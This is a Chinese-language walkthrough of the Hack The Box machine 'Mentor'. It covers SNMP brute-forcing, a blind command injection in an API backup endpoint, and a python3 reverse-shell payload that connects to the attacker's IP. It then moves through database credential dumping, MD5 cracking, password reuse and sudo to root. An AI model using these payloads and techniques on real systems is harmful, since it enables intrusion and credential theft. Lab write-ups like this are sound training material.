[Hack The Box] Mentor – writeup

HTB: Mentor — Medium (Linux)


靶機 Mentor
作業系統 Linux (Ubuntu 22.04 jammy)
難度 Medium
目標 IP 10.129.228.102(中途 reset,新 IP 10.129.122.22)
Kali IP 10.10.15.48(tun0)
vhost mentorquotes.htb / api.mentorquotes.htb
開放埠 22/tcp SSH · 80/tcp HTTP · 161/udp SNMP
user flag 4dc24d9d18a85198dd471a7358350b0
root flag a91d60522b8f17dd5c9ef0cd562a0452
攻擊鏈一句話:
SNMP 爆 v2c community string(internal)→ snmpbulkwalk 撈執行中程序命令列拿密碼 → FastAPI /auth/login 拿 JWT token → /admin/backup 指令注入拿容器 root → db.py 撈 DB 憑證 → psycopg2 dump hash 破解 → 密碼重用 SSH 上主機 → snmpd.conf 明文密碼 su james → sudo /bin/sh 到 root。

1. 偵察 Recon

1.1 TCP 全埠掃描

對目標一無所知,先用最快方式掃完 65535 個 TCP 埠拿到開放清單,再對開放埠深掃版本。

(root㉿kali)-[~/Desktop/HTB/Mentor]# nmap -p- –min-rate 10000 -oN allports.nmap 10.129.228.102
(root㉿kali)-[~/Desktop/HTB/Mentor]# nmap -p 22,80 -sCV -oN services.nmap 10.129.228.102

01 · 全埠掃描只有 22/80;版本掃 SSH 8.9p1(Ubuntu 22.04) + Apache 2.4.52,且 80 重導向 mentorquotes.htb
  • 22/tcp OpenSSH 8.9p1 → Ubuntu 22.04 jammy,SSH 通常是「拿到帳密後的入口」。
  • 80/tcp Apache 2.4.52,回應 Did not follow redirect to http://mentorquotes.htb/ → 用 vhost,需設 hosts。
  • TCP 攻擊面很窄(SSH+單一 web),這種 Medium 的突破口十之八九在 UDP。

1.2 設定 vhost

(root㉿kali)-[~/Desktop/HTB/Mentor]# echo ‘10.129.228.102 mentorquotes.htb api.mentorquotes.htb’ | sudo tee -a /etc/hosts
📌 api. 子域是後面 ffuf 爆出來的,這裡先一併列上方便復現;實戰時先只加主域名,子域靠 fuzz 自己挖。

1.3 UDP 掃描(關鍵)

UDP 掃描慢又不可靠,正確做法是針對高價值服務點名掃。這裡做了一次全埠 UDP 掃驗證——結論跟 top-ports 一樣:只有 161 確定開著。

(root㉿kali)-[~/Desktop/HTB/Mentor]# sudo nmap -sU -p- –min-rate 10000 -oN udp-all.nmap 10.129.228.102

02 · UDP 全掃:161/udp open snmp 是唯一確定開放的埠,其餘為 open|filtered 噪音
💡 heuristic:UDP 先掃 top-ports 或點名高價值服務(SNMP 161、DNS 53、TFTP 69、SNMP/IKE/NTP…),命中就開打;只有在 TCP+UDP top 都榨乾時才回頭花時間做 UDP 全掃。

2. SNMP 列舉

2.1 預設 community string

SNMP 的 community string 像「帳號+密碼」合一,先試最常見的 public 建立基準線。

(root㉿kali)-[~/Desktop/HTB/Mentor]# snmpwalk -v2c -c public 10.129.228.102 | tee snmpwalk-public.txt

03 · public 只吐約 47 行系統基本資訊(被 view systemonly 限制),無密碼
  • public 被 view systemonly 限制,只看得到 .1.3.6.1.2.1.1 和 .25.1 兩棵子樹。
  • 要看到更多,得爆出權限更大的 community string。

2.2 爆 community string(v2c)

onesixtyone 只撈到 public(它偏 SNMPv1,漏掉 v2c-only 的 string,詳見踩雷)。改用同時測 v1/v2c 的 snmpbrute.py。

(root㉿kali)-[~/Desktop/HTB/Mentor]# sudo git clone https://github.com/SECFORCE/SNMP-Brute.git /opt/SNMP-Brute
(root㉿kali)-[~/Desktop/HTB/Mentor]# python3 /opt/SNMP-Brute/snmpbrute.py -t 10.129.228.102

05 · snmpbrute.py 測 v2c 才撈到 internal (v2c)(RO) —— onesixtyone 完全漏掉它
✅ 拿到第二個 community string:internal(v2c、唯讀),視圖遠大於 public。

2.3 用 internal 撈整棵樹找密碼

用 snmpbulkwalk(GETBULK 批次,快約 10 倍)撈整棵,再 grep 執行中程序的命令列參數。

(root㉿kali)-[~/Desktop/HTB/Mentor]# snmpbulkwalk -v2c -c internal 10.129.228.102 | tee snmpwalk-internal.txt
(root㉿kali)-[~/Desktop/HTB/Mentor]# grep hrSWRunParameters snmpwalk-internal.txt | grep -iE ‘login|python|\.py|\.sh’

06 · hrSWRunParameters 洩漏 login.py 的命令列參數,尾端夾帶密碼 kj23sadkj123as0-d213
  • /usr/local/bin/login.py kj23sadkj123as0-d213 → 密碼當命令列參數傳給腳本,對 SNMP 全可見。
  • 密碼到手,但缺「配哪個使用者」——答案在 api 子域的 API 文件裡。
💡 heuristic:SNMP 撈到後 →「看 hrSWRun 三兄弟(Name/Path/Parameters)+ 全份 grep -i pass/key/secret」。要找的不是特定檔名,是「自訂腳本 + 像密碼的亂碼」這個異常組合;系統標配(docker/containerd/systemd)一律當噪音。

3. Web / API 列舉

3.1 子域爆破

主站 mentorquotes.htb 沒料(gobuster 只有 server-status 403)。對 vhost 做子域爆破,先不加 -fw 看基準(所有不存在的子域回應都是 18 字),再用 -fw 18 濾掉。

(root㉿kali)-[~/Desktop/HTB/Mentor]# ffuf -u http://10.129.228.102/ -H “Host: FUZZ.mentorquotes.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fw 18

04 · ffuf 校準基準線後命中 api 子域(從 18 字海裡跳出來)

3.2 API 端點爆破

api 根回 404(FastAPI/uvicorn),靠爆破找端點,GET/POST 都試(API 端點常 POST 才有反應)。

(root㉿kali)-[~/Desktop/HTB/Mentor]# feroxbuster -u http://api.mentorquotes.htb –no-recursion –methods GET,POST -o ferox-api.txt

07 · 找到 /docs(200,Swagger)、/admin、/users、/quotes,以及 openapi.json

3.3 openapi.json 撈端點與使用者

/docs 是 JS 動態渲染,curl 抓空殼;改抓純資料的 openapi.json。

(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s http://api.mentorquotes.htb/openapi.json | jq ‘.paths | keys’

08 · 完整端點:/auth/login、/auth/signup、/users/、/users/add、/users/{id}/、/quotes/…
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s http://api.mentorquotes.htb/openapi.json

09 · info.contact 洩漏 name=james、[email protected];userSchema 需 email+username+password
✅ 憑證湊齊:email [email protected] · username james · password kj23sadkj123as0-d213
💡 heuristic:curl 一個頁面 grep 不到預期內容時,先想「是不是 JS 動態渲染」——是的話 curl 只拿到空殼,改抓背後的資料來源(openapi.json、API 的 json)。拿到 Swagger 一定掃 info.contact、info.description、各端點 example。

4. 立足 Foothold

4.1 登入拿 JWT token

(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s -X POST http://api.mentorquotes.htb/auth/login -H ‘Content-Type: application/json’ -d ‘{“email”:”[email protected]”,”username”:”james”,”password”:”kj23sadkj123as0-d213″}’

10 · 回傳 james 的 JWT token(payload 僅 username/email,後端按身分判 admin)

4.2 驗證 token + dump 使用者

把 token 存成變數重複用。注意這支 API 的坑:Authorization 裸放 token、不加 Bearer(加 Bearer 會 500)。

(root㉿kali)-[~/Desktop/HTB/Mentor]# TOKEN=$(curl -s -X POST http://api.mentorquotes.htb/auth/login -H ‘Content-Type: application/json’ -d ‘{“email”:”[email protected]”,”username”:”james”,”password”:”kj23sadkj123as0-d213″}’ | tr -d ‘”‘)
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s http://api.mentorquotes.htb/users/ -H “Authorization: $TOKEN”

11 · dump 出 james 與 service_acc([email protected])—— 回應無 password 欄位,被後端 model 藏起

4.3 爆隱藏的 /admin/ 端點

/admin 不在 openapi.json(刻意藏的),針對這一層再爆一輪。

(root㉿kali)-[~/Desktop/HTB/Mentor]# feroxbuster -u http://api.mentorquotes.htb/admin/ –no-recursion –methods GET,POST -H “Authorization: $TOKEN” -o ferox-admin.txt

12 · /admin/backup(POST,422 需 body)與 /admin/check(GET,200)

4.4 問出參數 + 測指令注入

POST 空 body 讓 422 自曝欄位名,再給正常值建立基線。

(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d ‘{}’

13 · 422 錯誤自曝 body 欄位名 = path
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d ‘{“path”:”/tmp”}’

14 · 任意路徑都回 {“INFO”:”Done!”} —— 不驗證輸入,疑拼進 shell 命令

端點不回顯命令輸出(盲注),用帶外 ICMP 驗證:終端 A 開 tcpdump 聽 ICMP,終端 B 送 ;ping; payload(前後都要分號)。

(root㉿kali)-[terminal A]# sudo tcpdump -i tun0 icmp
(root㉿kali)-[terminal B]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d ‘{“path”:”;ping -c 3 10.10.15.48;”}’

15 · tcpdump 收到 target 的 3 個 ICMP echo request —— 盲指令注入確認成立
💡 heuristic:API 用錯誤碼反推——405 換方法、422 補參數(且會指名缺哪欄位)、401/403 補認證。端點不回顯時,盲指令注入用 ping+tcpdump 帶外驗證。

4.5 反向 shell 拿容器 root

這站是 Python 環境、很可能跑在精簡容器(bash 常失敗),用 python3 reverse shell。payload 引號多,寫進檔案再送,避開 shell 引號地獄。

# rev.json 內容(port 9001,見踩雷 5.3 為何不是 443):
{“path”:”;python3 -c ‘import os,pty,socket;s=socket.socket();s.connect((\”10.10.15.48\”,9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\”sh\”)’;”}
(root㉿kali)-[terminal A]# nc -lvnp 9001
(root㉿kali)-[terminal B]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d @rev.json
📌 第一次用 443 + rlwrap 踩了兩個雷、甚至把機器塞到要 reset(詳見失誤與教訓)。reset 後 IP 變 10.129.122.22,以下截圖為重打後。

16 · 純 nc + port 9001 乾淨連回,容器內 whoami = root(來源 IP 已是 reset 後的 10.129.122.22)

5. 後滲透列舉

5.1 確認容器環境 + user flag

/app # hostname; id; hostname -i; ls /home; cat /home/svc/user.txt

18 · hostname 是 hash、IP 172.22.0.3 → 在 Docker 容器內;172.22.0.1 是閘道/宿主

17 · user flag 在 /home/svc/user.txt

user.txt → 4dc24d9d18a85198dd471a7358350b0

5.2 翻應用原始碼找 DB 憑證

拿下 web 容器,第一個翻「應用自己的原始碼/設定檔」——憑證常寫死在裡面。

/app # cat /app/app/db.py

19 · db.py 洩漏 DATABASE_URL = postgresql://postgres:[email protected]/mentorquotes_db;users 表有 password 欄位

5.3 盤點工具 → python 直連 dump hash

DB 在宿主 172.22.0.1,Kali 連不到 Docker 內網。但先盤點容器工具,有現成客戶端就本機直連,不必架 tunnel。

/app # which psql python3 curl wget socat nc 2>/dev/null; python3 -c “import psycopg2; print(‘psycopg2 OK’)” 2>&1; python3 -c “import sqlalchemy; print(‘sqlalchemy’, sqlalchemy.__version__)” 2>&1

20 · 無 psql,但 python3 + psycopg2 OK → 省掉 chisel tunnel,直接 python 查 DB
/app # python3 -c “import psycopg2;c=psycopg2.connect(host=’172.22.0.1′,dbname=’mentorquotes_db’,user=’postgres’,password=’postgres’);cur=c.cursor();cur.execute(‘select id,email,username,password from users’);print(cur.fetchall())”

21 · dump users 表:james 與 service_acc 的 MD5 hash
使用者 MD5 hash
james 7ccdcd8c05b59add9c198d492b36a503
service_acc (svc) 53f22d0dfa10dce7e29cd31f4f953fd8
💡 heuristic:chisel/socat tunnel 是 pivot 的 plan B。立足點若自帶能連目標的客戶端(psql、python+driver、mysql client),本機直接查最省事。ORM 的 response_model 藏欄位 ≠ DB 沒有。

6. 提權 Privilege Escalation

6.1 破 svc 的 MD5

(root㉿kali)-[~/Desktop/HTB/Mentor]# echo ’53f22d0dfa10dce7e29cd31f4f953fd8′ > svc.hash
(root㉿kali)-[~/Desktop/HTB/Mentor]# hashcat -m 0 svc.hash /usr/share/wordlists/rockyou.txt

22 · hashcat -m 0(MD5)+ rockyou 秒破:53f22…:123meunomeeivani

6.2 密碼重用 SSH 上主機

密碼重用——DB 裡的密碼直接是系統帳號密碼。SSH 逃出容器、上真主機。

(root㉿kali)-[~/Desktop/HTB/Mentor]# ssh [email protected]

23 · 用 123meunomeeivani 登入,拿到主機上乾淨的 svc@mentor shell

6.3 枚舉 → snmpd.conf 明文密碼

svc 不能 sudo、也無特權群組,轉找設定檔明文密碼。這台通篇 SNMP,主機的 snmpd.conf 是第一嫌疑。

svc@mentor:~$ id; sudo -l

24 · svc 不能 sudo、groups 只有 svc 本身(無 docker/lxd/disk)
svc@mentor:~$ cat /etc/snmp/snmpd.conf | grep -v “^#” | grep .

25 · createUser bootstrap MD5 SuperSecurePassword123__ DES(明文密碼);com2sec AllUser default internal 也解釋了 internal string 的來源

6.4 密碼重用 su james → sudo /bin/sh

這密碼不是 root 的(su - 失敗),但密碼重用常重用到「非 root 的另一個使用者」——試 james。

svc@mentor:~$ su james
james@mentor:~$ sudo -l
james@mentor:~$ sudo /bin/sh

26 · su james 成功 → sudo -l 顯示 (ALL) /bin/sh → sudo /bin/sh → id=root → root flag

root.txt → a91d60522b8f17dd5c9ef0cd562a0452

✅ Root!公網 SNMP 進、主機 SNMP 出,首尾呼應。
💡 heuristic:撿到任何明文密碼,按價值依序試:root → 其他已知使用者(枚舉中出現過的人名,這台 james 出現多次)→ 當前使用者 sudo。密碼重用是 Linux 提權最高頻的一招。

7. 失誤與教訓

❌ 踩雷 1:SNMP 工具偏 v1,漏掉 v2c-only 的 internal string
onesixtyone 只撈到 public;snmp-check 直接 SNMP request timeout;預設 snmpwalk 也打不到。
成因:這三個工具預設走 SNMPv1,而 internal 是 v2c-only,用 v1 去問等於「沒這 string」。
修法:用同時測 v1/v2c 的 snmpbrute.py;snmp-check 要加 -v 2c;snmpwalk/bulkwalk 明確帶 -v2c。
❌ 踩雷 2:rlwrap + pty.spawn 讓 reverse shell 滿是亂碼
第一次用 rlwrap nc 接 shell,每條命令前黏 ;8R 亂碼、sh: syntax error。
成因:payload 的 pty.spawn("sh") 已自帶 PTY,再套 rlwrap → 兩層終端處理撞車,終端的游標查詢回應被當成鍵盤輸入。
修法:payload 已 pty.spawn 就用純 nc;要用 rlwrap 則 payload 改用不帶 pty 的 sh -i。兩者擇一,不疊加。

27 · rlwrap+pty 衝突:命令前黏 ;8R 亂碼,sh 報 syntax error
❌ 踩雷 3:reverse shell「curl hang 但 nc 沒收」→ 機器被塞到要 reset
換純 nc 後第一次連不上:curl 卡住不回 Done、nc 卻沒收到連線。反覆嘗試後連基本的 /tmp 請求都 hang。
成因:前一次嘗試的殘留卡住連線;多個 hang 的 reverse shell 進程把 uvicorn worker 塞滿。
修法:別戳同一 port,換全新 port(443→9001)重連。確診機器死活:送 path=/tmp 看回不回 Done——不回才 reset。reset 後 IP 從 228.102 變 122.22(string/密碼固定,枚舉免重跑)。

28 · 連 /tmp 基本請求都 hang → 後端被塞滿,判定需 reset
💡 三句話帶走:①「看到 SNMP → 爆 v2c string(別只用 onesixtyone)+ 撈 hrSWRun* 找命令列密碼 + 讀 snmpd.conf 找明文密碼」;②「撿到任何明文密碼 → 試遍 /etc/passwd + 枚舉中出現過的每個人名」;③「盲指令注入 → ping + tcpdump 帶外驗證」。